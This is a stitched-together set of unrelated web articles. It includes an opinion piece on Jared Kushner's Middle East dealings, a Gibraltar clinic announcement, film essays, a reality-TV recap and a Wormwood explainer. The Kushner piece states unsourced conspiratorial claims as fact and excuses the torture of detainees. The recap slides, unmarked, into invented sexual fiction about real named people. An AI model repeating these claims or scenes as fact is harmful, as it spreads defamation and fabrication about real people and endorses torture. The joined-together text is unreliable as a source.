Nominating for this assignment a trusted personality who is devoid of diplomatic experience is a second challenge for President Trump. Considering the failure of US professional diplomats, he is attacking an old problem from a new angle. For this mission, Jared Kushner has obtained a rare privilege  he is the only senior administrator whose meetings with foreign political personalities are not the object of written records. In this way, no-one can rebuke him for his mistakes, nor even criticise the way in which he approaches the subjects - not even the Secretary of State, since he is accountable only to the President.

In the opinion of those personalities who have met him, Kushner follows the same principles as his father-in-law:

 first of all, acknowledge reality, even if this implies abandoning well-established official rhetoric;

 secondly, consider all the advantages that can be drawn from earlier bilateral agreements;

 and thirdly, as far as possible, take into account multilateral Law.

The only difference with his father-in-law is his perfect mutism, as compared to the provocative and contradictory declarations used by the President to destabilise his listeners.

During the last ten months, Jared Kushner has multiplied his journeys to the Middle East - particularly to his favourite destinations  Saudi Arabia and Israel. We have just experienced, without understanding it, the beginning of his operation.

Saudi Arabia

 The reality of Arabia, from Trumps point of view during his electoral campaign, was as follows:

 the accumulation of petro-dollars, or the massive sums in dollars paid by the USA for oil that the Saudis do not produce.

 the central role of the Kingdom, under the control of MI6 and the CIA, in the fight against Arab nationalism and the manipulation of Islamic terrorism.

 Its crisis of succession.

The bilateral agreements are the Quincy agreements signed by Franklin Roosevelt in 1945, renewed by George Bush Jr. in 2005, and valid until 2065. Although they have never been published, many people who participated in their negotiation have described them as follows:

 The King of Arabia accepts the control of its oil by the United States, while in return, the US agrees to protect the King, and by extension, his private property, Saudi Arabia.

 The King of Arabia agrees to raise no obstacle against the creation of a state for the Jewish population of the ex-Ottoman Empire, while the United States favours its regional role.

So Jared Kushner prepared the summit on 21 May 2017 in Riyadh which brought together almost all of the heads of state of the Muslim world around President Trump. Saudi Arabia immediately broke its ties with the Muslim Brotherhood and ceased financing the jihadist groups all over the world  at least, almost all, except for Yemen [1]. The Kingdom used its influence to convince the other Muslim states present. However, this success had a price:

 Qatar refused the new US policy. Not wishing to have wasted the 137 billion dollars it had spent in the fight against Syria [2], it continued its support for certain jihadists. Saudi Arabia and the United Arab Emirates unilaterally decided on an embargo. While Secretary of State Rex Tillerson tried to distance himself from this quarrel, Kushner and President Trump took sides with Arabia.

 Kushner agreed to help King Salman sort out his succession to the throne as he saw fit.

The palace coup of 4 November

At the end of October, Jared Kushner went to Saudi Arabia for three days. He shared long work sessions with the Kings son, Prince Mohammed ben Salmane (MBS), and drew up with him a list of the members of the royal family who were to be neutralised. Unsure of the possible reactions of the Royal Guard once Prince Mutaib had been dismissed, he offered MBS the assistance of the mercenaries of Academi (ex-Blackwater) in order to proceed with the arrests. Finally, remembering the media campaign against his father, he provided the spin doctors with a soothing tale of  the fight against corruption  with which to gloss over the palace coup.

He had already left Riyadh when the Lebanese Prime Minister, Saad Hariri  the legal son of Rafic Hariri, but the biological son of a Fadh prince [3]  was invited to an emergency meeting in Riyadh,  where he would be received by King Salman . We know the end of this story [4]  the resignation speech of Hariri and the arrest or execution of all the princes capable of contesting or claiming the succession to the throne.

Hundreds of cousins of MBS were arrested, and placed under house arrest or in detention. One after the other, they agreed  often under torture  to hand over their fortunes to their sovereign. In this way he collected more than 800 billion dollars, according to the Wall Street Journal [5].

No voices anywhere in the world spoke up to come to the aid of these fallen billionaires, who until then had sat in the most prestigious board of directors.

Witnesses declared that certain members of the royal family were hospitalised and treated before they were taken back into the interrogation room. MBS affirmed that he had liberated several personalities, including Prince Mutaib himself, Turki ben Abdallah, Doctor Ibrahim ben Abdelaziz ben Abdallah al-Assaf (ex-Saudi Minister of finances) and Mohammad ben Abdel Rahman al-Toubaichi (ex-head of protocol to the Court).

This is certainly not the end of the story. In conformity with the instructions of President Trump, Jared Kushner will now attempt to recuperate part of the confiscated fortunes for his country.

The Hariri affair

Contrary to what the French Press pretends, the liberation of the Lebanese Prime Minister owes little to Paris. It is true that President Emmanuel Macron intervened, since Saad Hariri has triple nationality - Saudi-Lebanese-French. It is true, Macron went to Riyadh, but only succeeded in being insulted [6]. The only useful action came from his Lebanese counterpart, President Michel Aoun.

France was blocked by a simple reality  in international consular Law, multinationals are not allowed to benefit from diplomatic immunity in a country of which they are citizens. However President Aoun overturned the situation by defending not Saad Hariri the man, but his Prime Minister Saad Hariri. There is no doubt whatsoever that arresting and placing under house arrest the head of the government of another country outside of any judicial procedure is an act of war  and indeed, the international press whispered rumours of a possible Saudi bombardment of Lebanon. Immediately, the Baabda palace threatened to bring the affair before the arbitration court of the United Nations, and simultaneously, to alert the Security Council. And via his Syrian counterpart Bachar el-Assad, he also contacted Egyptian President Abdel Fattah al-Sissi, who made the connection between the pro- and anti-US. It was al-Sissi who telephoned Jared Kushner and obtained, with his support, the liberation of the Prime Minister. And in fact, as soon as Hariri was freed, he went to Cairo to thank al-Sissi.

The Israeli-Arab question

This leaves us with the Israeli-Palestinian question.

The naked reality is this:

 Over the last 70 years, Israel has continually been stealing its neighbours territory. It currently occupies the Syrian Golan, the farms of the Lebanese Shebaa, and a very large part of the Palestinian territories of 1967, including almost all of East Jerusalem.

 The leaders of the Palestinian Resistance have almost all been neutralised by Israel  many of them have been assassinated, those who remain with Fatah have mostly been corrupted by their enemies, while those of Hamas have openly collaborated with Mossad to eliminate their rivals [7]. The only organisations who continue to fight for their rights are a few small groups like the Islamic Jihad and the FPLP-CG.

 It is true that the Palestinians and the other Arab and/or Muslim people maintain a sense of the Law, and militate for the respect of the inalienable rights of the Palestinian people. But in the absence of credible political representation, they can do nothing, apart from marching by the tens of millions on  Jerusalem Day .

The bilateral agreements are:

 The realisation of the project expressed by the British Balfour Declaration, and by the 14 points of US President Wilson which created Israel [8].

 The letter addressed to Prime Minister Ariel Sharon by President George Bush Jr., which refutes the right of return to Palestinian refugees, and recognises the territories conquered since 1949 as being integral parts of Israel [9].

The multilateral agreements are:

 Resolutions 242 [10] and 338 [11] of the United Nations Security Council and article 49 of the 4th Geneva Convention.

Only President Trump and a few of his advisors know the scenario written by Jared Kushner. He has followed the policy of his predecessors by reducing the situation to a simple Israeli-Arab dispute. Following the line of John Kerry, he has favoured the reconciliation of Fatah and Hamas against Israel, and has succeeded in persuading them (but not the FPLP-CG, nor the Islamic Jihad) to sign an agreement, on 12 October in Cairo [12]. He has engineered the election to the head of Hamas of a childhood friend of the leader of Fatah, Mohammed Dahlan, in preparation for the fusion of the two movements.

Meanwhile, the Palestinian factions continue to express radically different ideas. For Fatah, Israel is a second Rhodesia, a colonial State which pronounced itself independent. For Hamas, based on an interpretation of the Hadiths (not the Coran), the problem is that a Muslim land cannot be governed by non-Muslims.

The beginning of events came with the announcement of the transfer of the US embassy from Tel-Aviv to Jerusalem.

Clearly, the White House is testing its ability to force its way through. Indeed, on one hand, the plan for the sharing of Palestine in fact anticipates that West Jerusalem will be the capital of the Hebrew state. But on the other hand, the Security Council has condemned Israel for designating West Jerusalem as its capital [13].

The strange meeting of the Organisation of Islamic Cooperation, which has just been held in Istanbul, proposed to transfer the capital of the Palestinian State from Ramallah to East Jerusalem [14]. Except that this seems difficult to realise, and in fact has not been realised. Perhaps this was simply a gallant last stand designed to force the acceptance of this abandon by Muslim public opinion.

Provisional Conclusion

The adversaries of President Trump are attempting by any means possible to oblige him to give up on his advisor Jared Kushner. Nevertheless, he is still in office. He has, for the moment, managed to end Saudi support for terrorist groups and resolve the question of the succession to the throne by cutting the Gordian knot, in other words, by neutralising the royal family. We may regret the method chosen  hanging old men by their feet and torturing them until they hand over their bank accounts. The fact remains that all the other solutions, or even worse, the absence of solutions, could have led to a civil war. The fault lies not with Jared Kushner, but with those who have for so long accepted the barbaric and medieval regime of the Saouds.

Equally, it is today extremely unjust, not to transfer the US embassy to West Jerusalem, but to give up on establishing the Palestinian government in East Jerusalem. Here again, the responsibility does not lie with Jared Kushner, but with the  international community , and in particular with the Arab Sionist governments, who have allowed Israel, for the last 70 years, to eat up the city, apartment by apartment.

So while, for 70 years, Western diplomats have contrived to multiply and complexify the conflicts in the Middle East, Jared Kushner is the first to have brought a resolution. The angel-faced Presidential advisor is a talented organiser.
GHA Announces Opening of New Lymphoedema Clinic

"We are extremely proud to continue our drive for a modern, up-to-date health service that serves every member of our community, in particular, to those most in need. In this, an elegant demonstration of the Gibraltar Health Authority working in partnership with our community, is the opening of the brand new and purpose built Isaac and Rachel Levy Lymphoedema Clinic."

Staffed by trained GHA nurses, but fully funded by Mr James Levy CBE QC, the Lymphoedema Clinic, based in the Primary care Centre, is an impressive and modern facility designed to care for patients suffering with this long-term chronic condition.

Lymphoedema is swelling and fluid retention in areas of the body caused by damage or a blockage of the bodys natural lymph fluid drainage system. This condition is very difficult to treat and needs management with fluid drainage-assisting massage and equipment, which provides pressure waves up a limb to move fluid away from a swollen area. The relief from the constant pressure of fluid retention when a patient completes a treatment is enormous and extremely rewarding to see.

Mr James Levy CBE QC said My wife, family and I are delighted to have been of some help in the refurbishing of this small but important facility for the GHA. We are honoured that it should bear my parents name and we are very grateful for the opportunity given to us to participate in this project.

Dr Krishna Rawal, Deputy Medical Director, stated: I am so pleased to see how the Primary Care Centre is working with our community to develop and deliver some truly important services, so we can improve our care of patients who have very specific medical needs. It has been a privilege to work with Mr James Levy on this project; his willingness to help and the bonds we have strengthened have made this a high point of my year. It is my genuine belief that we are all part of the team when it comes to caring for our precious community.

Minister for Health, Care and Justice, the Honourable Neil F. Costa MP said: While we strive every day to improve all our services, some services need particular attention and energy. The Isaac and Rachel Levy Lymphoedema Clinic is an excellent example of a team of professionals from different areas coming together with a clear focus to provide something truly noteworthy. My deepest gratitude to Mr James Levy CBE QC for his help and belief in our health services and to the health care professionals whose vision has brought this flagship project to reality.
Photo: Courtesy Everett Collection

According to Academy Award forecasts, Holly Hunter will likely be nominated next month for her fifth Oscar, for her performance in The Big Sick. If and when she receives that nomination, it will come exactly 30 years after her first, the one she earned for her work in Broadcast News.

James L. Brookss romantic-comedy masterpiece was released on December 16, 1987, two days before another instant-classic rom-com that also would be nominated for multiple Oscars: Moonstruck. Both films were intelligent, critically acclaimed mainstream box-office hits with smart, complicated women at their center. Back then, we completely took it for granted that major Hollywood studios would continue to widely release films that fit that description. We had no idea how good we had it that December.

Broadcast News has many fantastic qualities that have made it a beloved favorite that still resonates today. As the Ringer pointed out in a recent lengthy piece, its one of the more astute journalism movies ever made. Its also sharply written, filled all the way down the line with multilayered characters, and one of the best D.C.-based movies of all time. (It gets extra points for taking place in the nations capital without having any politicians as major characters.) Even Rebecca Pearson on This is Us gave the film a shout-out earlier this season; Ive never agreed with her judgment more than I did when she tried to convince the rest of the Pearsons to rent Broadcast News from their local Blockbuster.

Of all the vital elements in the movie, though, the most vital is Hunters character, the gifted network news producer Jane Craig, both because of the way Brooks wrote her and the way Hunter brings her to life. At a moment when women have become more vocal about the issues they face in the workplace  in terms of sexual harassment and other ways they feel marginalized  it is particularly fascinating to relook at that role.

Jane Craig is a feminist heroine in a way that few female romantic-comedy protagonists since have been, even the ones we consider strong and independent. Unlike most leads in the genre, her reason for existing in the world writer-director Brooks created  which, as he tells the Ringer, was built around the notion of a feminist heroine  is not so she can find a guy. Yes, the story is grounded in a love triangle, one that places Jane as the pivot point between Tom, the slick anchorman played by William Hurt, and Aaron (Albert Brooks), the more traditional reporter who carries a torch for her. But Janes existence is not predicated on being in a relationship. Her first love  her true love  is her job.

Jane is never more in control, more aglow, more her fully actualized self, than when shes in the middle of a chaotic control room calling the shots, feeding questions into Toms earpiece, shouting orders at whoever happens to call her on the phone (Do it or Ill fry your fat ass! she screams at some unfortunate woman named Estelle) and making sure every moment lands as smoothly on the TV runway as it possibly can.

I had no idea she was this good, Paul (Peter Hackes), the network president, says with awe while watching her in action. Theres something exhilarating about this for the audience, too, because we get to observe a woman onscreen excelling at a job that puts her in total charge, earning her colleagues full admiration while doing it. Even better, Jane achieves all that without ever needing to compromise who she is or apologize for it. Reality, as weve long known and been reminded over and over again recently, is typically much more complicated than that, especially for women in media, or women in any field who rise up the ranks. With Broadcast News, Brooks and Hunter, via Jane, show us how things operate in the news business. But they also show us how they could and should be.

It must be nice to always believe you know better. To think youre always the smartest person in the room, Paul says to Jane in another scene.

No, she protests, with total sincerity. Its awful. Janes not being glib. She knows she always sees the big picture when others are only seeing a small part of whats in the frame, and the pressure that comes with that gift weighs heavily on her. She doesnt mean to sound arrogant when she says this. But she also doesnt worry for a second about whether she sounds arrogant, either. Again: no apologies.

The fact that all of those conflicting traits and feelings (confidence, insecurity, truthfulness, frustration) come through so clearly just from the way Jane says those three simple words  No, its awful  is all because of Hunter. Prior to Broadcast News, the actresss most high-profile role was as a baby-napping cop in Raising Arizona, a part that demonstrated her ability to play spirited women and make extreme moments of comedy both funny and grounded in recognizable behavior. But Broadcast News established what I think of as the quintessential Hunter role: the warm, whip-smart spitfire, an older, softer, more maternal version of which she becomes in The Big Sick. Jane Craig is a pitch that lands right in the center of Hunters strike zone, and she hits a grand slam home run with it.

Jane is a passionate person who wears her feelings on her sleeve, her collar, and her oversize 80s shoulder pads. When shes angry, you know it, as Tom finds out when she bursts into his office, shouting at him for not returning a phone call. (Im great if Im helping your career. But when Im a woman for a second, I get immediately fucked around by you!) Hunter has always known just how to use her natural Southern accent, either coating her words with it so they sound folksy and warm, or, as in this example, spiking the punch with it so everything she says has a real kick.

Jane also goes on more than one crying jag in Broadcast News, and Hunter lets it all go in those scenes, for a few seconds, then reels Janes feelings right back in again. Those bursts of emotion could make Jane seem like a stereotypical female basket case, but they dont. Instead, they tell us something about how she, and women in positions like hers, compartmentalize. She works in a high-stress job, in a position of authority. She cant afford to completely lose it in front of her colleagues. So she does it, always, when shes alone and has a brief moment to herself. Hunter plays these episodes not as if Jane is a hot mess, but like shes releasing a valve that she knows must be released, then getting on with things.

Hunter has the same issue that Jane does: As an actress, she naturally comes across as the smartest person onscreen, and in Broadcast News, also the most fearless. I love every single two-shot in which the petite Hunter has to crane her neck to look up at Hurt or Joan Cusack, who plays one of her colleagues, and is completely undaunted by the height differential. As Jane, shes such a powerhouse that its clear that she deserves better than Aaron  who is an even more whiny jerk than you may remember  or Tom.

She doesnt realize that about Tom, though, until a key turning point in the movie that has to do with a story Tom does on sexual assault. His breakthrough moment at the network is a piece about date rape in which Tom tears up while interviewing a victim.

Aaron dismisses the entire story as unworthy of the news, as hard to believe as that sounds in #metoo 2017. (I think you really blew the lid off of nookie, he says to Tom sarcastically.) But every woman in the newsroom  including Jane, who ordinarily would cringe at the sight of a reporter so blatantly emoting  is moved by it. Unlike Aaron, her best friend and her journalism soul mate, she sees some value in covering sexual assault as a real issue and showing some humanity while doing it. At least she does until Aaron points out that Tom could not possibly have cried in real time during his reaction shots because the crew only had one camera.

Jane reviews the raw footage and discovers that Aaron is right: While Tom was affected by his subjects story, he conjured the tears afterward, on purpose, to insert his own feelings into the story. Hunters face while shes watching that footage goes on a real journey, from desperation to have her admiration for Tom upheld to utter disappointment. From her expressions, you know the relationship is over before the breakup fight at the airport even starts. (Hey, even a film as great as Broadcast News cant avoid every rom-com trope.)

Tom does two things that Jane cannot abide. He violated journalism ethics as she sees them, and he made Jane feel duped. The subtext  that he engaged in a deception that won her over, while reporting about women that men take advantage of  makes it that much worse. (The fact that Hurts former girlfriend, Marlee Matlin, has written about being sexually abused by him while he was making Broadcast News adds a whole other subtextual layer to this.)

In the final section of Broadcast News, the movie jumps seven years into the future, where after becoming the networks first female D.C. bureau chief, Jane gets promoted again to become the managing editor of the network, a job she got because Tom knew she was more qualified for it than he was and recommended her for it rather than trying to tear her down. She sees both Tom and Aaron for the first time in a long time. Its clear that, while she has deep affection for both of these guys, she doesnt need them at all. Jane is more deeply involved with her first love: being a newswoman.

It was great in 1987, and is still great now, that Broadcast News finds a happy ending by allowing its female lead to live happily ever after without a man. It was, and is, also great that Jane is rewarded for having so much intelligence, passion, and ambition, qualities that are apparent because shes played by the formidable and appealing Holly Hunter. But as 2017 comes to an end, its especially uplifting to watch Broadcast News, because its a film in which a woman working in a tough business succeeds, not in spite of the men around her, but because those men recognize her talent and are rooting for her, too.
Photo: Paramount Pictures

There are some sci-fi stories that will never make it to the big screen simply because no director could abandon their vanity long enough to make them. Luckily, Alexander Payne, our great auteur of American banality, is more than willing to look a little silly in order to make a point. Downsizing, a film in which successful movie stars Matt Damon and Jason Sudeikis are not only rendered the size of action figures, but made to wear khakis while doing so, is more equipped to address the human-scale smallness that fuels society-scale inequality than most films. It rides its premise from the suburbs of Omaha to the fjords of Norway, and though there may be more than a few stops along the way where other writers would wrap things up, Payne presses on, determined  for the first time in a while  to find a note of optimism to land on.

Its either the near future or an alternate present, and the great new hope for our planet is downsizing, a permanent procedure that not only shrinks human bodies, but effectively their footprint and cost of living as well. This creates a whole new class of people who have opted to go small  there are Small sections on airplanes, and entire Small colonies where everyone can afford a dream house. (My skeptical side kicked in here  how easy would it be to commit a mass atrocity on a city the size of a drug store?) Floundering Omaha physical therapist Paul Safranek gets his first face-to-face encounter with a Tiny when his old college buddy Dave (Jason Sudeikis) shows up at a reunion at 1/500 scale, and extols the ease and wonder of his new lifestyle. Paul and his wife, Audrey (Kristen Wiig), decide to take the plunge and ship off to Leisureland, one of the premiere Small communities.

Its with no pleasure that I spoil the fact that this is not a Kristen Wiig film; Audrey chickens out of the procedure at the last minute and the film becomes fully Pauls, a tiny, involuntary bachelor adrift in the frictionless ease of Leisureland. He makes friends with his bon vivant European neighbors played by Christoph Waltz and Udo Kier, who hold sprawling ragers in their penthouse. (Nobody makes debauchery look less fun than Payne.) Its after one such rager that he meets Ngoc Lan Tran (Hong Chau) a Vietnamese refugee who came to the United States stowed away inside a TV, and who now lives in a hovel just outside Leisurelands walls, cleaning houses for a living. It turns out that even within the economy of the downsizing revolution, there are haves and have-nots. When Waltzs Duman and Ngoc Lan are summoned to Norway by the pioneer of downsizing, they are presented with yet another opportunity to insulate themselves from the hardships of the world.

Theres been some divided criticism over Chaus performance, which uses a heavy accent, but is also easily the most interesting and vibrant of the entire casts. Ngoc Lan is operating from an entire different scale of human experience than Paul, whose greatest struggle prior to going small was that he and his wife couldnt afford a bigger house. But Chau does her best to find interesting nooks in the borderline saintly character Payne has written  Ngoc Lan is more than a little abrasive and unsentimental, which is the only redeeming aspect of her and Pauls wholly unnecessary romance.

There is a version of Downsizing that could have been more of Chaus film, whose story is certainly more dramatic and high-stakes than Pauls. I appreciate that Payne is more interested in blowing out a middle-class American perspective, and its perpetual victimhood narrative. But Damon is completely forgettable here  I suspect thats by design, but nothing about him commands you watch him the way you watch Chau or Waltz. Duman is a whole other story  never fully villainous but also made callous by his ease of life. This could have easily been a two-hander, a story about Duman and his housekeeper facing the end of the world together. But Paynes devotion to banality, here in the form of tiny, khaki-clad Matt Damon, holds him back this time. Theres only so much smallness one movie can take.
Zora Neale Hurston. Photo: CORBIS/Corbis via Getty Images

Author Zora Neale Hurston, best known for the American classic Their Eyes Were Watching God, passed away in 1960. Now, more than half a century after her death, a previously unpublished nonfiction work by Hurston is headed to print. According to the Black Youth Project, Barracoon: The Story of the Last Black Cargo tells the true, firsthand account of Cudjo Lewis, who is reportedly the last living survivor of the transatlantic slave trade in America. (The title is taken from the kind of barracks enslaved people were imprisoned in before being transported to the New World; the name of the specific ship that trafficked Lewis to the U.S. was the Clotilde.) Per HarperCollinss description, Hurston first met with 95-year-old Lewis in 1927 to discuss his life and illegal seizure into slavery. In 1931, Hurston returned to Lewiss town of Plateau, Alabama, for three months to interview him about his childhood in Africa, abduction, and enslavement in the U.S. until the end of the Civil War. The book, currently available for preorder, will hit bookstore shelves on May 8, 2018.
Vanderpump Rules Back in the Saddle Season 6 Episode 3 Editors Rating 3 stars * * * Previous Next   Previous Episode Next Episode  Photo: Bravo/NBCUniversal

Something truly disgusting happens in this episode of Vanderpump Rules, a Revenge of the Nerds movie told from the point of view of the witless, when the boys gather to drink beers and comfort Jax and the girls gather to help Brittany get through the difficult time after learning that Jax cheated on her with Faith. No, I dont mean when Jax shouted at Brittany to shut up! when she very reasonably demanded to know whether Jax hooked up with Faith one time or a dozen. Im talking about Brittany eating beer cheese.

The idea behind the party is that Stassi, Kristen, Katie, and the rest of the girls would put together all of Brittanys favorite things to comfort her. These things include the state of Kentucky, alcohol, not getting rid of her accent, tops that are way too tight on her boobs, low-key knowing shes the only one at SUR who is actually a competent waitress, and some neon orange swill called beer cheese. Stassi and Kristen even went so far as to get the recipe from Brittanys Mee Maw.

Im not sure what exactly is in beer cheese, but I assume that it is beer and cheese and somehow made into a dip. This is like all of my least favorite things together: beer, cheese, disgusting things they serve in Guy Fieris Flavortown, down-home nostalgia, and cheese. Yes, I listed cheese twice because I think it is disgusting and all of you people who eat moldy cow mucus should be ashamed of yourselves. As James Joyce said in Ulysses, cheese is corpses of milk.

The other gross thing is the shot squirt gun that Katie brings to the party. When she tries it out on Kristen, she practically bukkakes her face with tequila and totally misses her open mouth just three feet away. I could think of nothing worse than getting cheap booze squirted up my nose in Stassis kitchen. And why did someone in this crew pay $50 for this device at Spencers Gifts when they can just buy a 99-cent squirt gun at the Duane Reade and use that as an aerial boozerator?

This literal pity party is the only party that Stassi has ever thrown and yet Lisa Vanderpump still hired her as the new party planner at SUR. This upsets Scheana No Tea No Shay who now thinks that Stassi is her boss. Shes just pissed that to continue her career in the reality-TV arts, she has to continue waiting tables and doing side work and Stassi just gets to show up and throw some flowers on things and call herself an event planner. This whole skirmish is good because it leads Stassi to channel the ghost of Kelly Killoren Bensimon, a Babadook with a Jelly Belly addiction, and give us a good, Im up here and youre down here.

As Tom Schwartz points out, the great thing about this party is that all of the girls finally put aside their differences and get together for the one thing that absolutely everyone can agree is fun: hating on Jax. Katie assembling the Witches of WeHo to put a little curse on him is absolutely fantastic.

However, the night takes a very weird turn. All of these beautiful and half-drunk women sit around in their pajamas and do some magic. Then, inexplicably, they all start making out with each other. Didnt I see this movie once on Cinemax at 2 a.m.? After the pajama jammie jam make-out sesh, did they each retire to their rooms in a haunted mansion where each is visited by the spirit of a steroided man with too-long hair and waxed armpits to rut around on them (with no visible) penetration for three to five minutes while the pants of suburban tween boys get tighter and tighter?

As the girls all pound a Jax pinata just like they have all pounded the real-life Jax at one time or another, eventually they tire of their merrymaking and start talking about the real betrayal at hand. Ariana tells Brittany that word on the street is that Jax slept with Faith a bunch of times, not the one time that he copped to. Because Stassi, Kristen, and the rest have all had plenty of dealings with Jax, they all know that hell treat Brittany really nice and sweet because he wants to get her back. They all know that hell lie about the multiple hookups but when she continues to apply the pressure, he will eventually say, One time or a dozen, what does it matter?

He does all of these things. Hes so sadly predictable in all of his behaviors that he cant even surprise anyone. Hes stuck in a black hole of his own narcissism and self-hatred, which he keeps filling with girlfriends to try to get rid of that empty feeling. It doesnt work. But no one could have predicted how violently he would yell at Brittany and how he would make himself out to be the victim in this whole thing. Oh, just kidding. This is so predictable that even Miss Cleo (RIP) could see it happening beyond the grave.

The night ends with the girls calling the boys and telling them that Jax shouldnt return home because Brittany is staying there and she doesnt want to be disturbed. The only disturbing thing about all of this is that Brittany and Jax are still together. Watching this whole thing unfold with the knowledge that it goes nowhere gives me the same feeling in my stomach after eating three-day-old fish and drinking spoiled yogurt.

What else happens? Ariana goes riding and wins a competition on a horse named Walter. Im sorry, but Walter is not a name for a horse. A name for a horse is like Petticoat Ruffle or Surfeit of Kings. Walter is a name for a building super or a hipster baby. Tom Sandoval and Arianas brother Jeremie go to watch her compete and Sandoval tells Jeremie about how the two of them arent having sex and everyone in the audience with siblings tells him to shut the hell up because Jeremie is not interested at all in the quality of his sisters sex life, even if he does hear it through the walls while hes sleeping on their couch.

Lala returns to SUR like a hunting falcon returning to a rookery, except she manages to keep her little blinders on the entire time. For some reason that is only possibly explained by reality TV, thats why, Lisa lets her have her job back. The makers of crystals to put on manicures and Beauty Blender celebrate with a round of Hosannas that their best customer will once again have some spending money.

The Toms Schwartz and Sandoval continue to get back into the good graces of Lisa and Ken, but this whole arrangement sounds crazy to me. She wants their money and their enthusiasm and wants to name the bar after them, but they cant have any input at all? What kind of business sense does that make at all? Ken says, Think about what you can really bring to this project. But they dont really want them to bring anything, and then they act like its a privilege that theyre giving them a percentage of the business at all. I guess the reason behind all of this is reality TV, thats why.

But after a night pressing their thighs together with Jax, DJ James Kennedy, and hunky Peter, the SUR manager with more pecs than words, Tom, and Tom decided it was finally time to go home to their separate sexless houses. The rest of the boys said good-bye, but Sandoval and Schwartz were going to get some work done and decided to share a Lyft back to Schwartzs place where they could doodle in their notebooks about shots on a wooden spoon and pretend like they were contributing.

They settled in the back of a Hyundai Elantra and were greeted by Justin, a 25-year-old aspiring actor with a head of lightly spun blond curls who recently arrived from St. Louis. He enthusiastically told all of this to his new passengers, who sat in the back with their legs spread open and their knees touching. Until Justin quieted down and Schwartz placed his hand on Sandovals knee and they stared in each others eyes as Justin lightly hummed along to Ed Sheerans Shape of You on the radio.

Finally, Schwartz picked up his heavy paw and slowly brushed it against Sandovals face, grating his palm a bit on his stubble. He went in for a kiss and the two of them turned mostly toward each other, their hands not pressed into the seats of the Elantra, gliding over the firm recesses of each others arms. They kept making out and Sandoval opened his eyes once or twice and could see Justin looking at them in the rear view. Sandoval didnt know quite what to make of this, but Waze had lead them down some sleepy side street and he decided to take a chance.

Sandoval broke their embrace and leaned up toward the front of the car. Why dont you pull over? he asked Justin, as he placed his hand on his right shoulder and gave it a friendly squeeze. Tom and Tom started making out together again, but now harder, more furiously, as if putting on a show. They had their eyes closed as they could hear the clicking of Justin taking off his seatbelt and the lurch of the car as he tried to crawl with them into the back seat. The Toms separated and let him fall backwards in between them, as they caved in around him, like the warm waters of the ocean as a dolphin pierces the surface then reenters.
Photo: Netflix

Wormwood, the six-part Errol Morris mini-series that premiered on Netflix last weekend, can be a confusing experience. Its certainly an overwhelming one: Wormwood intercuts interview footage with semi-fictional re-creations of key events with actors, including Peter Sarsgaard, Molly Parker, and Tim Blake Nelson, to tell a complex story about the CIA, LSD, biological weapons, and an alleged murder. If youve started watching  or if youd like a helping hand before you get started  heres a guide to the key people, places, and projects at the core of the story. The death of Frank Olson has drawn quite a few conspiracy theories and conflicting accounts, so it can be hard to keep track of whats true, what isnt, and whats simply unknown. Here are seven key questions to help guide the way.

Who was Frank Olson?

A Wisconsin-born captain in the U.S. Army, Frank Olson was recruited to Camp Detrick in the 40s, working with Ira Baldwin on a bioweapons program for the U.S. government, one that gained prominence as the Korean War heated up. On November 28, 1953, he fell from the window of his room on the 13th floor of the Statler Hotel, dying on impact. Wormwood investigates exactly what happened to Olson that night, starting with the 1975 revelation that he had been dosed with LSD by his CIA colleagues nine days before his death. Admitting that the dosage could have led to the nervous breakdown that resulted in his alleged suicide, the federal government paid the Olson family $750,000 in settlement money and President Ford apologized to them during a visit to the Oval Office. Of course, as Wormwood makes clear, that was nowhere the end of the story.

What was Project MKUltra?

For those who traffic in conspiracies about men in black doing highly immoral and illegal things, Project MKUltra is basically catnip. As revealed by the the Church Committee and the Rockefeller Commission in 1975, MKUltra was an officially sanctioned CIA program that conducted mind-control experiments on unwitting subjects. After the dropping of the atomic bomb to end World War II, government officials began to worry about techniques that could be used by enemies. Under what circumstances might a POW give up crucial military information? MKUltra was designed to find out. Scientists, chemists, and agents used drugs, hypnosis, interrogation, and outright torture in their search for mind-control techniques  of course, it was highly illegal, but it nevertheless officially ran from 1953 to 1973.

What is Camp Detrick?

Frank Olson was stationed at Marylands Camp Detrick, the Army base that was the center of the U.S. biological weapons program from 1943 through the 1960s (and the biological defense program since then and to this day). Wormwood theorizes that Olson held strong moral opposition to some of the bioweapons developed at that base, and his son Eric argues that could be why he was killed. The research into biological weapons that started at Camp Detrick in 1943 continues in some form to this day. It was renamed to Fort Detrick in 1956.

What was Project Artichoke?

Started in 1951, this was the first code name for the project that would become MKUltra. It arose from the CIAs Project Bluebird and focused on mind control and other non-lethal techniques that the enemy could use during interrogations. Project Artichoke involved quite a bit of human testing, including hypnosis and the administration of drugs to see if subjects would become vulnerable enough to reveal confidential information. It even allegedly delved into mind control, a la The Manchurian Candidate, to see if people could be controlled in a way that would make them betray their country.

What happened at Deep Creek Lake?

About three hours from Camp Detrick was a retreat on Deep Creek Lake, where a select group of biochemists and their superiors met in November of 1953. According to the story revealed in the 70s, this is where Frank Olson was dosed with LSD, dropped into a bottle of Cointreau by Sidney Gottlieb, head of the CIAs Technical Services Staff. Exactly what happened at Deep Creek Lake is an open question in Wormwood, but the government has admitted to the dosing. Shortly after the retreat, Olson asked to leave the bioweapons program. He reportedly suffered a nervous breakdown and was sent to New York to see a CIA physician, where he fell, jumped, or was pushed from his hotel window.

Who is Seymour Hersh?

By the end of Wormwood, the journalist Seymour Sy Hersh becomes a major player. He reportedly knows the truth about what happened to Frank Olson in that hotel room, but cannot reveal it or risk implicating his source. So, who is Sy Hersh? Hes one of the worlds most important investigative journalists, first gaining international prominence for revealing the truth behind the My Lai massacre during the Vietnam War, a story for which he won the Pulitzer Prize. He also reported on the horrors at the Abu Ghraib prison, as well as many other major stories. Hersh has done essential reporting on everything from Watergate to the killing of Osama Bin Laden, but his reporting methods have been called into question. Still, he may be one of the only people in the world to know the truth about what happened to Frank Olson.

What does wormwood mean?

You might go into Wormwood presuming that the title refers to a government program like Artichoke or Bluebird, but thats not the case. The title is a reference to two things, and not just the plant. First, the series quotes a Bible verse from the Book of Revelation, which calls to mind the use of biological weapons: The third angel sounded his trumpet, and a great star, blazing like a torch, fell from the sky on a third of the rivers and on the springs of water  the name of the star is Wormwood. A third of the waters turned bitter, and many people died from the waters that had become bitter. Second, its a word repeated by Hamlet in the Shakespeare play, a work that mirrors Wormwood in its story of a son obsessed with his fathers murder.
Nearly three-fourths of Wisconsin business leaders say they approve  at least to some degree  of the generous economic package the state is giving Foxconn, according to a survey by the states largest business lobbying organization.

